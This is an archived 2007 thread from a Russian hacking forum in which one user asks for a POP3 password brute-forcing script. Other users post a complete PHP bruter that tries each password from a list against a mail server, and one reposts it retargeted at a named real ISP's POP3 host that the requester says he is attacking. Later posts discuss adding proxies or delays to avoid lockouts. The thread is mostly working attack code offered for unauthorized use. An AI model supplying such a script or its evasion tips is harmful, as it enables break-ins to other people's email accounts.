ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Нужен скрипт на пхп иле перл.
  #1  
Старый 31.07.2007, 17:43
Mo4x
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
Провел на форуме:
3509350

Репутация: 412
По умолчанию Нужен скрипт на пхп иле перл.

сем привет,я очень нуждаюсь в скрипте для брута поп3 на пхп иле перл.
омогите кто может.
 

  #2  
Старый 31.07.2007, 18:26
halkfild
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме:
7084941

Репутация: 2277
Post

вот елементарный пример.. мона прикрутить поддержку проксей и тд..

PHP код:
<?
/*

Simple POP3 Bruter v 0.2

30/05/05 (с) drmist

*/

$port=110;
$host='127.0.0.1';
$login='user';
$passwords="passwords.txt";

set_time_limit(0);

$FID=fopen($passwords,"r");

while(!
feof($FID))
{
 
$pass=str_replace("\r","",fgets($FID));
 
$pass=str_replace("\n","",$pass);
 
 echo 
"$pass<br>\r\n";
 
flush();
 
 
$s=fsockopen($host$port);
 
 if(!
$s)
    die(
"Не могу соединиться <b>[$host:$port]</b>!");
 
 
$line=fread($s256);

  if(!
ereg("\+OK(.*)",$line)) 
    die(
"Хрень какая-то. Ты точно на pop сервер коннектишься?");

 
fputs($s,"USER $login\r\n");

 
$line=fread($s256);
 
 if(
ereg("-ERR(.*)",$line))
   die(
"Неверный логин <b>$login</b>!");

 
fputs($s,"PASS $pass\r\n");
 
 
$line=fread($s256);

 if(!
ereg("-ERR(.*)",$line))
   die(
"Пароль найден: <b>$pass</b>!");

 
fclose($s);
}

echo 
"Работа завершина. Пароль не найден =((";

?>
взято отсюда
_http://www.security-teams.net/board/index.php?act=ST&f=15&t=1063
(с) drmist
 

  #3  
Старый 31.07.2007, 19:31
Mo4x
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
Провел на форуме:
3509350

Репутация: 412
По умолчанию

halkfild,Проверяй работоспособность скриптов ато этот не работает.
 

  #4  
Старый 31.07.2007, 20:43
D Mak
Участник форума
Регистрация: 23.06.2007
Сообщений: 188
Провел на форуме:
1051973

Репутация: 116
Отправить сообщение для D Mak с помощью ICQ
По умолчанию

Цитата:
halkfild,Проверяй работоспособность скриптов ато этот не работает.
все работает, тока что проверил
или ты локалхост брутить пытаешься?))
 

  #5  
Старый 31.07.2007, 20:48
Y.Dmitriy
Постоянный
Регистрация: 14.03.2007
Сообщений: 367
Провел на форуме:
1392441

Репутация: 161
Отправить сообщение для Y.Dmitriy с помощью ICQ Отправить сообщение для Y.Dmitriy с помощью AIM Отправить сообщение для Y.Dmitriy с помощью MSN
По умолчанию

Жалко что проксиков нет(хотя на халяву не так уж и сложно написать) а толку без них никакого ибо больше пяти запросов(к почте) ты вряд ли пошлёшь - забанять...
 

  #6  
Старый 31.07.2007, 21:02
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

Цитата:
Сообщение от Y.Dmitriy  
Жалко что проксиков нет(хотя на халяву не так уж и сложно написать) а толку без них никакого ибо больше пяти запросов(к почте) ты вряд ли пошлёшь - забанять...
а еще один цикл со сменой прокси трудно дописать? а вообще чтобы через прокси брутить их понадобятся тысячи
 

  #7  
Старый 31.07.2007, 21:04
Mo4x
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
Провел на форуме:
3509350

Репутация: 412
По умолчанию

D Mak
Проверь хорошо есле скрипт пашет .
Пытаюсь брутить на хост 194,90,5,5 netvision.net.il можеш попробывать.
 

  #8  
Старый 31.07.2007, 21:05
halkfild
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме:
7084941

Репутация: 2277
По умолчанию

Цитата:
halkfild,Проверяй работоспособность скриптов ато этот не работает.
вроде работает.. пропиши адресс сервера и юзай..
 

  #9  
Старый 31.07.2007, 21:34
LolFEm
Участник форума
Регистрация: 08.09.2006
Сообщений: 194
Провел на форуме:
1627025

Репутация: 163
По умолчанию

Интересно узнать бы через сколько запросов неверных POP3 банит входящие соединения... и в случаее чего всё таки можно Sleep() прикрутить , если всё таки с проксиками нехочеться замарачиваться....
 

  #10  
Старый 31.07.2007, 22:06
D Mak
Участник форума
Регистрация: 23.06.2007
Сообщений: 188
Провел на форуме:
1051973

Репутация: 116
Отправить сообщение для D Mak с помощью ICQ
По умолчанию

Mo4x™ ? действительно, у мня первый пасс выдавал..
щас испробуй..

PHP код:
<? 
/* 

Simple POP3 Bruter v 0.2 

30/05/05 (с) drmist 

*/ 

$port=110
$host='pop3.netvision.net.il'
$login='login'
$passwords="passwords.txt"

set_time_limit(0); 

$FID=fopen($passwords,"r"); 

while(!
feof($FID)) 

 
$pass=str_replace("\r","",fgets($FID)); 
 
$pass=str_replace("\n","",$pass); 
  
 echo 
"$pass<br>\r\n"
 
flush(); 
  
 
$s=fsockopen($host$port); 
  
 if(!
$s
    die(
"Не могу соединиться <b>[$host:$port]</b>!"); 
  
 
$line=fread($s256); 

  if(!
ereg("\+OK(.*)",$line))  
    die(
"Хрень какая-то. Ты точно на pop сервер коннектишься?"); 

 
fputs($s,"USER $login\r\n"); 

 
$line=fread($s256); 
 
 if(
ereg("-ERR(.*)",$line)) 
   die(
"Неверный логин <b>$login</b>!"); 

 
fputs($s,"PASS $pass\r\n"); 
  
 
$line=fread($s256); 

 if(
ereg("(OK)",$line)) 
   die(
"Пароль найден: <b>$pass</b>!"); 

 
fclose($s); 


echo 
"Работа завершина. Пароль не найден =(("

?>
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
НУжен Хелп Хацкеров anakin Болталка 18 21.09.2006 19:21



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ